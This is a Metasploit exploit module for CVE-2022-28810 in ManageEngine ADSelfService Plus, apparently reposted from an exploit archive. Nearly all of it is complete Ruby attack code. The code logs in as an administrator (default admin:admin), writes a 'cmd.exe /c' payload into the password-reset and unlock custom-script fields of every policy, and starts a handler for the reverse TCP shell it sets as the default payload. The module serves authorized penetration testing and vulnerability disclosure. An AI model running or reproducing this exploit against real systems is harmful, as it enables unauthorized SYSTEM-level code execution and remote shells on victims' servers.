ManageEngine ADSelfService Plus Custom Script Execution

This Metasploit module exploits the "custom script" feature of ADSelfService Plus. The feature was removed in build 6122 as part of the patch for CVE-2022-28810. For purposes of this module, a "custom script" is arbitrary operating system command execution. This module uses an attacker provided "admin" account to insert the malicious payload into the custom script fields. When a user resets their password or unlocks their account, the payload in the custom script will be executed. The payload will be executed as SYSTEM if ADSelfService Plus is installed as a service, which we believe is the normal operational behavior. This is a passive module because user interaction is required to trigger the payload. This module also does not automatically remove the malicious code from the remote target. Use the "TARGET_RESET" operation to remove the malicious custom script when you are done.


MD5 | c310dc211e1188a20c417029fcebd212

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ManageEngine ADSelfService Plus Custom Script Execution',
'Description' => %q{
This module exploits the "custom script" feature of ADSelfService Plus. The
feature was removed in build 6122 as part of the patch for CVE-2022-28810.
For purposes of this module, a "custom script" is arbitrary operating system
command execution.

This module uses an attacker provided "admin" account to insert the malicious
payload into the custom script fields. When a user resets their password or
unlocks their account, the payload in the custom script will be executed.
The payload will be executed as SYSTEM if ADSelfService Plus is installed as
a service, which we believe is the normal operational behavior.

This is a passive module because user interaction is required to trigger the
payload. This module also does not automatically remove the malicious code from
the remote target. Use the "TARGET_RESET" operation to remove the malicious
custom script when you are done.

ADSelfService Plus uses default credentials of "admin":"admin"
},
'Author' => [
# Discovered and exploited by unknown threat actors
'Jake Baines', # Analysis, CVE credit, and Metasploit module
'Hernan Diaz', # Analysis and CVE credit
'Andrew Iwamaye', # Analysis and CVE credit
'Dan Kelley' # Analysis and CVE credit
],
'References' => [
['CVE', '2022-28810'],
['URL', 'https://www.manageengine.com/products/self-service-password/kb/cve-2022-28810.html'],
['URL', 'https://www.rapid7.com/blog/post/2022/04/14/cve-2022-28810-manageengine-adselfservice-plus-authenticated-command-execution-fixed/']
],
'DisclosureDate' => '2022-04-09',
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Privileged' => true, # false if ADSelfService Plus is not run as a service
'Stance' => Msf::Exploit::Stance::Passive,
'Targets' => [
[
'Windows Command',
{
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/jjs_reverse_tcp'
}
}
],
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8888,
'DisablePayloadHandler' => true,
'JJS_PATH' => '..\\jre\\bin\\jjs.exe'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Path traversal for auth bypass', '/']),
OptString.new('USERNAME', [true, 'The administrator username', 'admin']),
OptString.new('PASSWORD', [true, 'The administrator user\'s password', 'admin']),
OptBool.new('TARGET_RESET', [true, 'On the target, disables custom scripts and clears custom script field', false])
])
end

##
# Because this is an authenticated vulnerability, we will rely on a version string
# for the check function. We can extract the version (or build) from selfservice/index.html.
##
def check
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/selfservice/index.html'))
unless res
return CheckCode::Unknown('The target failed to respond to check.')
end

unless res.code == 200
return CheckCode::Safe('Failed to retrieve /selfservice/index.html')
end

ver = res.body[/\.css\?buildNo=(?<build_id>[0-9]+)/, :build_id]
if ver.nil?
return CheckCode::Safe('Could not extract a version number')
end

if Rex::Version.new(ver) < Rex::Version.new('6122')
return CheckCode::Appears("This determination is based on the version string: #{ver}.")
end

CheckCode::Safe("This determination is based on the version string: #{ver}.")
end

##
# Authenticate with the remote target. Login requires four steps:
#
# 1. Grab a CSRF token
# 2. Post credentials to /ServletAPI/accounts/login
# 3. Post credentials to /j_security_check
# 4. Grab another CSRF token for authenticated requests
#
# @return a new CSRF token to use with authenticated requests
##
def authenticate
# grab a CSRF token from the index
res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do') })
fail_with(Failure::Unreachable, 'The target did not respond') unless res
fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['HttpOnly, adscsrf'].empty?
csrf_tok = res.get_cookies_parsed['HttpOnly, adscsrf'].to_s[/HttpOnly, adscsrf=(?<token>[0-9a-f-]+); path=/, :token]
fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok

# send the first login request to get the ssp token
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/ServletAPI/accounts/login'),
'keep_cookies' => true,
'vars_post' =>
{
'loginName' => datastore['USERNAME'],
'domainName' => 'ADSelfService Plus Authentication',
'j_username' => datastore['USERNAME'],
'j_password' => datastore['PASSWORD'],
'AUTHRULE_NAME' => 'ADAuthenticator',
'adscsrf' => csrf_tok
}
})
fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200

# send the second login request to get the sso token
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/j_security_check'),
'keep_cookies' => true,
'vars_post' =>
{
'loginName' => datastore['USERNAME'],
'domainName' => 'ADSelfService Plus Authentication',
'j_username' => datastore['USERNAME'],
'j_password' => datastore['PASSWORD'],
'AUTHRULE_NAME' => 'ADAuthenticator',
'adscsrf' => csrf_tok
}
})
fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 302

# revisit authorization.do to complete authentication
res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do'), 'keep_cookies' => true })
fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200
fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['adscsrf'].empty?
csrf_tok = res.get_cookies_parsed['adscsrf'].to_s[/adscsrf=(?<token>[0-9a-f-]+);/, :token]
fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok

print_good('Authentication successful')
csrf_tok
end

##
# Triggering the payload requires user interaction. Using the default payload
# handler will cause this module to exit after planting the payload, so the
# module will spawn it's own handler so that it doesn't exit until a shell
# has been received/handled. Note that this module is passive so it should
# just be chilling quietly in the background.
#
# This code is largely copy/paste from windows/local/persistence.rb
##
def create_multihandler(lhost, lport, payload_name)
pay = framework.payloads.create(payload_name)
pay.datastore['LHOST'] = lhost
pay.datastore['LPORT'] = lport
print_status('Starting exploit/multi/handler')

# Set options for module
mh = framework.exploits.create('multi/handler')
mh.share_datastore(pay.datastore)
mh.datastore['PAYLOAD'] = payload_name
mh.datastore['EXITFUNC'] = 'thread'
mh.datastore['ExitOnSession'] = true
# Validate module options
mh.options.validate(mh.datastore)
# Execute showing output
mh.exploit_simple(
'Payload' => mh.datastore['PAYLOAD'],
'LocalInput' => user_input,
'LocalOutput' => user_output,
'RunAsJob' => true
)

# Check to make sure that the handler is actually valid
# If another process has the port open, then the handler will fail
# but it takes a few seconds to do so. The module needs to give
# the handler time to fail or the resulting connections from the
# target could end up on on a different handler with the wrong payload
# or dropped entirely.
Rex.sleep(5)
return nil if framework.jobs[mh.job_id.to_s].nil?

return mh.job_id.to_s
end

# The json policy blob that ADSSP provides us is not accepted by ADSSP
# if we try to POST it back. Specifically, ADSP is very unhappy about all
# the booleans using "true" or "false" instead of "1" or "0" *except* for
# HIDE_CAPTCHA_RPUA which has to remain a boolean. Sounds unbelievable, but
# here we are.
def fix_adssp_json(json_hash)
json_hash.map do |key, value|
if value.is_a? Hash
[key, fix_adssp_json(value)]
elsif value.is_a? Array
value = value.map do |array_val|
if array_val.is_a? Hash
array_val = fix_adssp_json(array_val)
end
array_val
end
[key, value]
elsif key == 'HIDE_CAPTCHA_RPUA'
[key, value]
elsif value.is_a? TrueClass
[key, 1]
elsif value.is_a? FalseClass
[key, 0]
else
[key, value]
end
end.to_h
end

def exploit
csrf_tok = authenticate

# Grab the list of configured policies
policy_list_uri = normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/getPolicyConfigDetails')
print_status("Requesting policy list from #{policy_list_uri}")
res = send_request_cgi({ 'method' => 'GET', 'uri' => policy_list_uri })
fail_with(Failure::UnexpectedReply, 'Log in attempt failed') unless res.code == 200
policy_json = res.get_json_document
fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if policy_json.nil?
policy_details_json = policy_json['POLICY_DETAILS']
fail_with(Failure::UnexpectedReply, "The target didn't have any configured policies") if policy_details_json.nil?

# There can be multiple policies. This logic will loop over each one, grab the configuration
# details, update the configuration to include our payload, and then POST it back.
policy_details_json.each do |policy_entry|
policy_id = policy_entry['POLICY_ID']
policy_name = policy_entry['POLICY_NAME']
fail_with(Failure::UnexpectedReply, 'Policy details missing name or id') if policy_id.nil? || policy_name.nil?

print_status("Requesting policy details for #{policy_name}")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/getAPCDetails'),
'vars_get' =>
{
'POLICY_ID' => policy_id
}
})
fail_with(Failure::UnexpectedReply, 'Acquiring specific policy details failed') unless res.code == 200

# load the JSON and insert (or remove) our payload
specific_policy_json = res.get_json_document
fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if specific_policy_json.nil?
fail_with(Failure::UnexpectedReply, "The target didn't contain the expected JSON") if specific_policy_json['SCRIPT_COMMAND_RESET'].nil?
new_payload = "cmd.exe /c #{payload.encoded}"

if datastore['TARGET_RESET']
print_status('Disabling custom script functionality')
specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_RESET'] = '0'
specific_policy_json['SCRIPT_COMMAND_RESET'] = ''
specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_UNLOCK'] = '0'
specific_policy_json['SCRIPT_COMMAND_UNLOCK'] = ''
else
print_status('Enabling custom scripts and inserting the payload')
specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_RESET'] = '1'
specific_policy_json['SCRIPT_COMMAND_RESET'] = new_payload
specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_UNLOCK'] = '1'
specific_policy_json['SCRIPT_COMMAND_UNLOCK'] = new_payload
end

# fix up the ADSSP provided json so ADSSP will accept it o.O
updated_policy = fix_adssp_json(specific_policy_json).to_json

policy_update_uri = normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/setAPCDetails')
print_status("Posting updated policy configuration to #{policy_update_uri}")
res = send_request_cgi({
'method' => 'POST',
'uri' => policy_update_uri,
'vars_post' =>
{
'APC_SETTINGS_DETAILS' => updated_policy,
'POLICY_NAME' => policy_name,
'adscsrf' => csrf_tok
}
})
fail_with(Failure::UnexpectedReply, 'Policy update request failed') unless res.code == 200

# spawn our own payload handler?
if !datastore['TARGET_RESET'] && datastore['DisablePayloadHandler']
listener_job_id = create_multihandler(datastore['LHOST'], datastore['LPORT'], datastore['PAYLOAD'])
if listener_job_id.blank?
print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
end
else
print_good('Done!')
end
end
end
end

Related Posts